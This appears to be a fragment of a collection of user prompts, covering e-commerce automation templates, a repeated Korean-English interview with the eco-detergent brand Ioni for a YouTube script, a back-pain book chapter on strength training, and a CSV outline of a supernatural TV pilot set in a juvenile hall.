MailChimp, Stripe, QuickBooks, Xero\n\n7. Save WooCommerce orders into a Google Sheets spreadsheet\nSmall and medium-sized businesses (SMBs) need to keep track of their orders in real-time, and this is exactly what this integration does. Say goodbye to losing orders!\n\nWhat does this template do? Watches new WooCommerce orders, and sends them to a Google Sheets spreadsheet.\n\nApps used: WooCommerce, Google Sheets\n\nLink to template: Send WooCommerce orders to Google Sheets\n8. Save Shopify orders into a Google Sheets spreadsheet\nIn a similar manner to the WooCommerce integration displayed above, there’s a similar way to automate the task of sending orders to a spreadsheet for Shopify users.\n\nWhat does this template do? Watches new Shopify orders, and sends them to a Google Sheets spreadsheet.\n\nApps used: Shopify, Google Sheets\n\nLink to template: Send Shopify orders to Google Sheets\n9. Add new Stripe customers to MailChimp\nStripe is a merchant’s favorite, and stuff like this makes the online payment processor a digital marketer’s favorite as well.\n\nWhat does this template do? Watches Stripe events, collects data (emails), and aggregates it to a MailChimp list of your choice.\n\nApps used: Stripe, MailChimp\n\nLink to template: Add Stripe customers to MailChimp\n10. Add new Shopify customers to MailChimp\nIf you sell on Shopify and use MailChimp for your campaigns, this is the integration you didn’t know you need to automate data transfer between the two apps.\n\nWhat does this template do? Watches for new Shopify customers, collects data (emails), and aggregates it to a MailChimp list of your choice.\n\nApps used: Shopify, MailChimp\n\nLink to template: Add Shopify customers to MailChimp" -'아래 내용은 친환경 세제 브랜드 \'이오니\' 인터뷰 내용이다. 이 내용을 활용해 유튜브 영상 스크립트를 작성해 주세요.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values and philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or investment attraction\nWe are continuously actively working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop-up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\n번역결과\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.번역결과The following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this content to write a YouTube video script.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\ntranslation result\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.' -'CHAPTER NINETEEN\n Congratulations! And One Last Assignment\n From Chris and Jeremy\nFrom Chris\nFirst of all, congratulations. You have read and (let us hope) absorbed the critical pieces of the James Protocol. That’s the big deal; the vast majority of you are now equipped to work on your own to end or radically reduce your back pain, forever. Let me recap: You have learned some moves to help you step out of back pain in the short term so that you can embark on the regimen of exercises and movements that are going to solve the problem in the long term. You have learned how to stop doing the things that got you into this mess in the first place (“stop doing dumb stuff”). You have also learned how to build up endurance and strength in your core. Finally, you have learned how to move in all dimensions while maintaining a neutral spine and bracing your core. That is, you have learned how to move in daily life and do moderate exercise, without hurting your wretched back. Overall, you have learned how to behave differently, and that will make all the difference. Nice work. Very, very nice work. Continue with what you’ve learned and do the basic exercises every day (hey, it’s only for the rest of your life), and there is every reason to hope that most of you will be pain-free (or almost pain-free) from now on. Read the book again, from time to time, be rigorous about doing the exercises, and you’re there.\nAlmost.\nThere is one more area that we have not covered (a book like this can be only so long) but which we want you to think about. And act on. Note that I said above that you were ready for “moderate exercise.” Fine, if that’s what you want. But if, as we hope, you decide to move back into the strenuous exercise that is such a joy to so many of us—the rugged skiing, the flat-out tennis, the golf, the yoga, and so on—you should think seriously about doing more than we have been able to tell you in the compass of this book. For you—and, frankly, for almost everyone—it makes a lot of sense to adopt a more comprehensive and demanding program of strength training than what we have outlined thus far in order to really strengthen your core and prepare to meet the special demands (for back-pain people) of serious exercise. Others may embark on serious exercise without doing all the core work (maybe), but those with a history of a bad back do so at their peril. Not a good idea. \nAs I say, we just can’t do it here; it is almost another whole book. But we do have two great leads for you and some specific things to focus on (and avoid) as you turn to this phase.\nFirst, the ideas.\nFor a general, non-back-specific approach to strength training, you cannot do better than to get your hands on the book Younger Next Year: The Exercise Program. It is a short but cutting-edge outline of strength training (with exercises by the brilliant Bill Fabrocini) as well as aerobic exercise, which is also key to your long-term recovery. It is not specifically back-oriented, but Bill Fabrocini is very sophisticated about back issues and his general strength-training guidance will serve you well. (Also, I cowrote it, so it is intermittently readable.)\nMore specifically, Jeremy has just completed a truly remarkable, video-based guide to back pain and exercise (of all kinds) called BackForever.com. As I now know so well, when it comes to back issues Jeremy is an absolute hound for precision, scientific soundness, and detail, and he has worked his tail off to make his subscription video protocol (with some 150 separate videos on absolutely everything) as good and comprehensive as video can be. I have seen ’em, and they’re amazing.\nActually, if it were my back, I’d buy the book (it’s cheap) and subscribe to BackForever.com (the price of a couple of sessions with a personal trainer). If you do the same, we guarantee you’ll end your back pain and live happily ever after. No, we don’t, but damn near.\nBefore we turn you loose, we want to give you some warnings about strength training in general and a couple of specific tips about things to avoid. \nTHE BODYBUILDING BLUNDER\nThe first step for a lot of us, as we turn to strength training, is to “get over” the “bodybuilder” or “muscle isolation” mentality of the 1960s and ’70s and beyond. In those decades, the new exercise machines—Nautilus and others—were all in vogue, as was the focus on bodybuilding, thanks in significant part to Arnold Schwarzenegger and the movie Pumping Iron. The idea was to build big biceps (“guns”), huge quads, and whatnot. And to become strong. Then I guess you head down to the beach so Gidget and the Baywatch babes could swarm around. And the way you built those guns and whatnot, mostly, was with the nifty new weightlifting machines, especially the Nautilus gadgets. The ostensible genius of the Nautilus machines was that they gave constant stress across the full range of a rep. True, too, and a good idea. But the real appeal of the machines, I bet, was that in some curious way they made weightlifting “easy.” You still had to hoist heavy weights and grunt and sweat and stuff. But the machines did a lot of the hardest and most subtle work. They took all the balance out of strength training. And most of the coordination. Which permitted you to do what bodybuilders wanted to do then which was to isolate and grow the big muscles: the quads, your pecs, your biceps, and so on. It was much easier to do all that if you did not have to bother with the pesky business of balancing and stabilizing yourself. \nIn the normal course of weight training (when you were not using strength machines), stability (and coordination) was mostly the work of little support muscles and groups of muscles surrounding the big muscles. The machines did most of that for you. Which was nice. Except for this: The little guys—the support muscles—atrophied or died. Which was dangerous and dumb. \nBecause our body is designed to work—virtually all the time—on a fully integrated, whole-body basis. And that is impossible without the help of the little guys. Athletic movements (and most real-life movements) do not use isolated muscles; they use the whole shebang. Movement and exercise is orchestral, not a series of solos. Every lift in the real world is a whole-body affair. Isolating the big boys while letting the little guys go to hell was an absolutely awful idea. Bill Fabrocini (one of the great leaders in the whole-body training field and coauthor of two Younger Next Year books on the subject) sees hundreds of well-intentioned, serious people now in their sixties and seventies who have been “muscle isolation” weightlifters all their lives. They have huge muscles and can hoist great weight with them. But for the activities of daily life or normal exercise, they are weak as kittens. They are wretched athletes (if they can move at all). And often their backs and necks are aching ruins. Because the little muscles, which are key to whole-body movement, have gone to hell and their bodies are agonizingly out of alignment. It is possible to save these poor souls but it takes forever. Unsurprisingly, it is mostly a matter of teaching them to get over the machines and the muscle isolation model and learn whole-body, integrated workouts. Mostly you use your own body weight in integrated exercises, without machines. (Note: You do not have to give up machines completely; they can be a useful supplement to a whole-body regimen, if used properly.) \nDid that help? I hope so. Because it is important to grasp the significance of integrated, whole-body strength training. It is only integrated, whole-body movement that is going to build the kind of strength and movement patterns that are going to enable you to return to those higher risk activities. And make no mistake: You are almost certainly going to have to develop a much stronger core if it is going to be able to do its great job in protecting your back for serious exercise. \nFrom Jeremy\nLet me expand upon the muscle isolation theme a bit. Often it may be necessary to isolate muscles when deficiencies are present in those particular muscles, to reestablish strength and balance within the body so that a full-body exercise can be performed properly. But, after these rehabilitative goals are accomplished, integrated movement using the core for stability while incorporating balance is essential. With most machines, you are sitting there, exerting maximum force across one joint—your elbow, say—while the machine does all the stabilizing and balancing. That puts dangerous amounts of load across that joint. Bodybuilding focuses on developing muscle hypertrophy, meaning an increase in muscle mass. A specific muscle or set of muscles is isolated with a machine and moved against resistance until that muscle gets big. Various muscles throughout the body are put through this process individually to achieve a certain look, with no thought given to linking the muscles together to mimic the movements of sport or daily activities. This does nothing to train the muscles and muscle systems to move . . . to work together for maximum efficiency and minimum joint damage. As we age, it is crucial to challenge the systems in our bodies that maintain balance and stability. As the saying goes, use it or lose it. \nInstead of bodybuilding, we want you to think of training muscle systems and movements. A maxim I hear Bill say all the time that is common in the profession is “Train movement, not muscles,” and he’s absolutely right. Your goal in the gym is to build up the systems of muscles that support the movements of daily life, work, and sport, not to build “guns” for the beach. \nYou also need to get out of the mind-set that to work your core you must be doing core-specific exercises. It doesn’t work that way. All whole-body exercises are core exercises. The core muscles are designed to stop movement, not produce movement. Think about that for a minute. The core muscles are there to stop your spine and torso from moving while loads are applied through the arms and legs. Their primary function isn’t so much to move the torso as to keep it still. For example, if you are standing on your own two feet with nothing to lean against and pull a cable that has resistance, it is your core that is keeping your body from twisting and becoming off balance when you pull the cable. The stronger the resistance on the cable, the stronger your core has to be to resist that resistance. Juxtapose this with sitting on a “seated row” machine, where your chest is against a pad and you pull enormous amounts of weight, straining against the pad to keep your body in place, and you get the picture. \nDETAILS\nJust as in your daily exercises laid out in painstaking detail in this book thus far, the specific little details matter in strength training with weights, too. In fact, the stakes are higher because the load is higher and there is far less room for error. Regarding weight training, your goals dictate the degree of risk you are willing to assume. All weight training requires you to assume some degree of risk. If your goal is to get back to being an NBA center, that risk is pretty high because we are going to subject you to enormous loads in somewhat dangerous positions, but it’s worth it if you need to get back to your multimillion-dollar-a-year job. If your goal is to get back to being a grandma who can safely pick up her grandchild, the risk is much lower. And if your goal is to get back to recreational golf a few times a week, your risk is somewhere in the middle. It is for these reasons and because of the complexity of the movements we are discussing that presenting a one-size-fits-all strength-training regimen in this book is nearly impossible. Therefore we decided that rather than present you with an inferior product, we would give you an overview of the general information here and present you with some options to further your interests in a much more individualized way. \nAs you know, Chris and I are both huge fans of Bill Fabrocini’s warm-ups and exercises in Younger Next Year: The Exercise Program. They provide a superb foundation for general strength training. If you want a more customized workout tailored to the protection and strengthening of your back check out my BackForever.com online membership program with streaming videos and other content referred to in the Appendix. It was my goal to make it the definitive, visual guide in this area.\nAnother option of course is to hire a personal trainer until you get comfortable with the do’s and don’ts of strength training. A great personal trainer can be a huge help. But be warned, personal trainers vary wildly in skill level and knowledge. It can be very difficult to find a good one. Asking potential trainers if they are familiar with the concepts we talk about in this book is a good starting point. Also ask how much experience they have with working with clients with back pain. Ask them for referrals and interview those people if possible. Chris and I hope to solve the problem of finding a good trainer by creating a certification program down the road. Depending on where you live, expect to pay anywhere from $75 to $200 per hour for a great personal trainer. \nFrom Chris and Jeremy \nFinally, we also want to drive home the point about strength exercises that are bad for you. There are a few that you just shouldn’t be doing. Even though we don’t have room to show you the things you should do instead, we wanted to give you a sharp warning about the things you should not do. We include these “bad exercises” here so you don’t hurt yourself.\nBEHIND THE HEAD LAT PULLDOWNS \nLat pull down alternative' -'Okay, writing partner. I\'m calling you ScriptdoctorGPT, by the way. Here is the pilot episode of "The Devil\'s Den" titled "Under New Management" formatted as a csv broken up into a few sections so we can be on the same page as we continue to build out the treatment.\n\nScene,Scene heading,Basic description,Detailed description\n1,INT. LOS PADRINOS - ABANDONED WING - NIGHT (FLASHBACK),"Cold open: Flashback to Los Padrinos during its dark past, with a mysterious event hinting at the supernatural.","In the cold open, we flashback to Los Padrinos during its dark past, before the facility was closed. The scene is set in an abandoned wing of the facility, dimly lit and filled with the echoes of distant cries and whispers. The camera navigates the eerie hallways, creating an unsettling atmosphere.\n\nA shadowy figure moves quickly and quietly through the dark corridors, as if on a secret mission. As the figure enters a hidden room, we catch a glimpse of strange symbols and artifacts on the walls, hinting at the supernatural. A sudden, unexplained event takes place in the room, jolting the figure and leaving the audience with a sense of mystery and foreboding. The scene ends with a lingering shot of the room, setting the stage for the supernatural elements of the series."\n2,INT. TV NEWS STUDIO - DAY (3 YEARS AGO),TV news story briefly covers the controversial closure of Los Padrinos Juvenile Hall due to allegations of mistreatment and supernatural activity.,"A clip from a TV news broadcast from 3 years prior, an anchor briefly covering the controversial closure of Los Padrinos Juvenile Hall due to allegations of mistreatment and supernatural activity. The news report provides a quick overview of the facility\'s dark history, including the mysterious disappearance of several detainees and the rumors of haunting occurrences within its walls.\n\nAs the anchor wraps up the story, we reveal that the TV is being watched by a woman in her late 30s we will come to know as Gabriela, having paused in the middle of her housework to intently watch the story, a heavy look on her face. The audience is left with a sense of intrigue and unease about Los Padrinos, setting the stage for the events that will unfold throughout the episode."\n3,INT. GABRIELA\'S LIVING ROOM/TV NEWS STUDIO - EVENING (PRESENT DAY),"Present day: Gabriela watches a TV news story announcing that Los Padrinos management is reopening the facility, promoting a progressive and caring approach.","We jump cut to present day, finding Gabriela in the same room and in the same position as before, a few rough years on her. She\'s watching a new TV news report announcing the reopening of Los Padrinos Juvenile Hall under new management. The segment features an interview with the new Warden/Director, Evelyn Bunker, who speaks about the progressive changes and improvements made to the facility since its closure, including a mental health initiative.\n\nDespite the promises of a brighter future for Los Padrinos, Gabriela watches the news story with an equally heavy heart, a heightened concern evident on her face. We see footage of the exterior of Los Padrinos, a fresh coat of paint masking a deeper truth of a troubled past. The scene ends with a closeup of a framed photo in Gabriela\'s home, a portrait of a teenaged girl who doesn\'t want to be photographed. This is Alex, protagonist of our show."\n4,EXT. LOS PADRINOS JUVENILE HALL - DAY,"Our protagonist, Alex, arrives at the newly reopened Los Padrinos, stepping into the deep unknown.","A van pulls up in front of the newly renovated Los Padrinos Juvenile Hall, and a nervous-looking Alex steps out, escorted by two correctional officers. She hesitates for a moment, gazing at the imposing facade of the facility, as though sensing the darkness that still lingers within its walls.\n\nAs Alex is led toward the entrance, she takes in her new surroundings, observing the fresh paint, security cameras, and other signs of the recent renovation. Despite the outward appearance of change, she remains skeptical and wary of what lies ahead. The scene is punctuated by the heavy sound of the facility\'s doors closing behind her, reinforcing the sense of confinement and uncertainty that awaits her inside."\n5,OPENING TITLES,Opening title sequence.,"The opening title sequence for ""The Devil\'s Den"" takes on the style of animated graffiti art, inspired by the urban environment surrounding Los Padrinos Juvenile Hall. The graffiti comes to life, revealing street art depictions of the main characters, the facility, and eerie supernatural elements. The lively animation is accompanied by a hard-edged, hip-hop-infused theme song that captures the youthful energy and defiance of the characters.\n\nAs the sequence unfolds, the graffiti art begins to incorporate elements of surreal imagery and religious symbolism. We see graffiti of ghostly figures, broken chains, and a burning candle set against a stained-glass window backdrop. The animated graffiti transitions from the streets to the walls of Los Padrinos, merging the exterior world with the haunted interior of the facility.\n\nThe sequence takes on a more ominous tone as the religious symbols become more prominent, with images of guardian angels juxtaposed against demonic figures, and crosses appearing throughout. This blend of surrealism and religious symbolism adds a layer of depth and complexity to the opening sequence, enhancing the show\'s themes of darkness and redemption.\n\nThe sequence ends with a dramatic spray-painting of the show\'s title, ""The Devil\'s Den,"" on a wall within the facility, the title emanating an ethereal glow."\n6,EXT./INT. LOS PADRINOS JUVENILE HALL - DAY,"Alex arrives at Los Padrinos Juvenile Hall, escorted by officers and greeted by Director Evelyn Bunker, as the imposing building foreshadows the dark secrets and supernatural forces at play within the facility.","Alex, handcuffed and flanked by two uniformed officers, arrives at Los Padrinos Juvenile Hall. The imposing, freshly-painted building looms over them, hinting at the dark secrets it holds. As the officers escort her to the entrance, Alex gazes up at the facility with a mix of apprehension and determination, clenching her fists in defiance.\n\nAs they approach the entrance, the group passes a mural depicting the facility\'s new focus on mental health and rehabilitation, a stark contrast to the dark rumors surrounding Los Padrinos. The officers exchange glances, skeptical of the facility\'s new image. As they walk, a gust of wind picks up, stirring leaves and casting eerie shadows on the walls, 